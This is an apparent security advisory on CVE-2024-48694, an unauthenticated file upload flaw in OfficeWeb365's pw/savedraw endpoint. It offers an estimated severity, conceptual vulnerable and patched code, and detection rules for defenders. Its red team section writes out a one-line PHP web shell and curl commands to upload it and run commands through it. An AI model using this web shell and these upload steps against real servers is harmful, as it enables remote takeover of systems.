CVE-2024-48694

Executive Summary

CVE-2024-48694 identifies an unauthenticated file upload vulnerability in Xi'an Daxi Information Technology's OfficeWeb365 application, specifically within the pw/savedraw component. This flaw allows a remote attacker to upload arbitrary files, including web shells, leading to remote code execution (RCE) on the underlying server. The vulnerability affects versions 8.6.1.0 and 7.18.23.0. No official patch has been released, and no public proof-of-concept (PoC) code is currently available. The lack of authentication requirements and the ability to execute arbitrary code make this a critical security risk for any organization using the affected software.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability description and common characteristics of unauthenticated file upload flaws, the following breakdown is estimated:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Attacker can modify files and execute code.
• Availability (A): High (H) – Attacker can disrupt service or destroy data.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and successful exploitation leads to full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the pw/savedraw endpoint of OfficeWeb365. This component is designed to handle drawing or annotation data, likely saving user-created content to the server. The flaw is a classic unrestricted file upload vulnerability (CWE-434). The application fails to properly validate the type, content, or extension of uploaded files. An attacker can craft an HTTP request to the pw/savedraw endpoint, uploading a malicious file (e.g., a PHP or ASPX web shell) instead of the expected drawing data.

The server processes the upload without sanitization, storing the malicious file in a web-accessible directory. The attacker can then access the uploaded file via a direct URL, triggering its execution. This allows the attacker to run arbitrary commands on the server, effectively gaining full control.

The lack of authentication means any unauthenticated user on the network can trigger this exploit. The absence of a patch means all known versions remain vulnerable.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code is within the pw/savedraw handler. A secure implementation would include:

1. File Type Validation: Check the MIME type and file signature (magic bytes) against an allowlist of permitted types (e.g., only image/png, image/jpeg).
2. File Extension Validation: Restrict allowed extensions to safe types (e.g., .png, .jpg) and reject executable extensions (.php, .asp, .jsp, .exe, etc.).
3. Content Disposition: Store uploaded files outside the web root or in a non-executable directory.
4. Authentication: Require a valid session or API key for all upload operations.
5. Input Sanitization: Rename uploaded files to a random, non-predictable name to prevent direct access.

Vulnerable Code (Conceptual):

# Vulnerable: No validation
@app.route('/pw/savedraw', methods=['POST'])
def save_draw():
    file = request.files['file']
    filename = file.filename
    file.save('/var/www/uploads/' + filename)
    return 'OK'

Patched Code (Conceptual):

# Patched: Validation and secure storage
import os
import uuid
from werkzeug.utils import secure_filename

ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
UPLOAD_FOLDER = '/var/www/uploads/'

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/pw/savedraw', methods=['POST'])
def save_draw():
    if 'file' not in request.files:
        return 'No file', 400
    file = request.files['file']
    if file.filename == '':
        return 'No file', 400
    if file and allowed_file(file.filename):
        # Generate a random filename to prevent direct access
        ext = file.filename.rsplit('.', 1)[1].lower()
        random_name = str(uuid.uuid4()) + '.' + ext
        file.save(os.path.join(UPLOAD_FOLDER, random_name))
        return 'OK'
    return 'Invalid file type', 400

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of OfficeWeb365 v8.6.1.0 in a controlled environment (e.g., Docker or a virtual machine).
2. Ensure the web server is accessible from the attacker machine.

Exploitation Steps:

1. Craft a Web Shell: Create a simple PHP web shell (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Upload the Shell: Send a POST request to the vulnerable endpoint:

   curl -X POST -F "file=@shell.php" http://target.com/pw/savedraw
   

3. Locate the Shell: The file will likely be stored in a predictable location, such as /uploads/shell.php or /pw/savedraw/shell.php. Use directory brute-forcing or error messages to find the exact path.
4. Execute Commands: Access the uploaded shell:

   curl http://target.com/uploads/shell.php?cmd=id
   

Note: Since no public PoC exists, this is a theoretical exploitation path. The exact upload path and file naming convention must be determined through reconnaissance.

Blue Team (Defensive)

Detection & Response:

1. Monitor Upload Endpoints: Alert on any POST requests to /pw/savedraw that contain file uploads.
2. Analyze File Content: Inspect uploaded files for executable content (e.g., PHP tags, ASP code, JavaScript).
3. Check for Anomalous Files: Scan the web root for unexpected files, especially those with executable extensions.
4. Web Application Firewall (WAF): Create rules to block uploads of files with executable extensions (.php, .asp, .aspx, .jsp, .exe, .sh, .py).
5. Network Segmentation: Isolate the OfficeWeb365 server from critical internal networks to limit lateral movement.
6. Incident Response: If exploitation is suspected, immediately isolate the server, review logs for unauthorized access, and perform forensic analysis.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /pw/savedraw with Content-Type: multipart/form-data.
  • Outbound connections from the server to unknown IP addresses (command and control).
  • Unusual HTTP requests to uploaded files (e.g., GET /uploads/shell.php?cmd=...).
• File System IOCs:
  • Unexpected files in the web root, especially with .php, .asp, .aspx, .jsp, .sh, or .py extensions.
  • Files with suspicious names like shell.php, cmd.php, backdoor.asp.
  • New or modified files in the /uploads/ or /pw/savedraw/ directories.
• Process IOCs:
  • Web server processes (e.g., httpd, nginx, php-fpm) spawning child processes like cmd.exe, /bin/sh, or python.
• Log IOCs:
  • Web server access logs showing POST /pw/savedraw followed by GET /uploads/<suspicious_file>.
  • Error logs indicating failed file type checks (if any logging is enabled).

Detection Engineering

YARA Rule

rule CVE_2024_48694_OfficeWeb365_WebShell {
    meta:
        description = "Detects web shells uploaded via CVE-2024-48694"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-48694"
    strings:
        $php_shell = "<?php" nocase
        $asp_shell = "<%" nocase
        $jsp_shell = "<%" nocase
        $cmd_exec = "system(" nocase
        $cmd_exec2 = "exec(" nocase
        $cmd_exec3 = "shell_exec(" nocase
        $cmd_exec4 = "passthru(" nocase
    condition:
        any of ($php_shell, $asp_shell, $jsp_shell) and any of ($cmd_exec, $cmd_exec2, $cmd_exec3, $cmd_exec4)
}

Sigma Rule

title: Suspicious File Upload to OfficeWeb365 pw/savedraw
id: 8f4a2b1c-3d5e-4f7a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects POST requests to the vulnerable pw/savedraw endpoint with file uploads.
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-48694
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/pw/savedraw'
    condition: selection
falsepositives:
    - Legitimate use of the drawing feature (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48694 - OfficeWeb365 pw/savedraw File Upload Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/pw/savedraw"; http.request_body; content:"filename="; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the System: If possible, disconnect the affected OfficeWeb365 server from the network until a patch is available.
2. Disable the Endpoint: If isolation is not possible, block access to the /pw/savedraw endpoint at the web server or firewall level.
3. Implement a WAF: Deploy a Web Application Firewall with rules to block file uploads to the vulnerable endpoint and to block uploads of executable file types.
4. Monitor Logs: Actively monitor web server logs for any POST requests to /pw/savedraw and investigate immediately.

Long-Term Actions:

1. Vendor Patch: Contact Xi'an Daxi Information Technology for a security patch. If no patch is forthcoming, consider migrating to an alternative solution.
2. Code Review: If you have access to the source code, implement the secure coding practices outlined in the "Vulnerable vs. Patched Code" section.
3. Network Segmentation: Ensure the OfficeWeb365 server is in a DMZ with strict access controls.
4. Regular Security Audits: Conduct regular vulnerability scans and penetration tests on all web applications.

Valters IT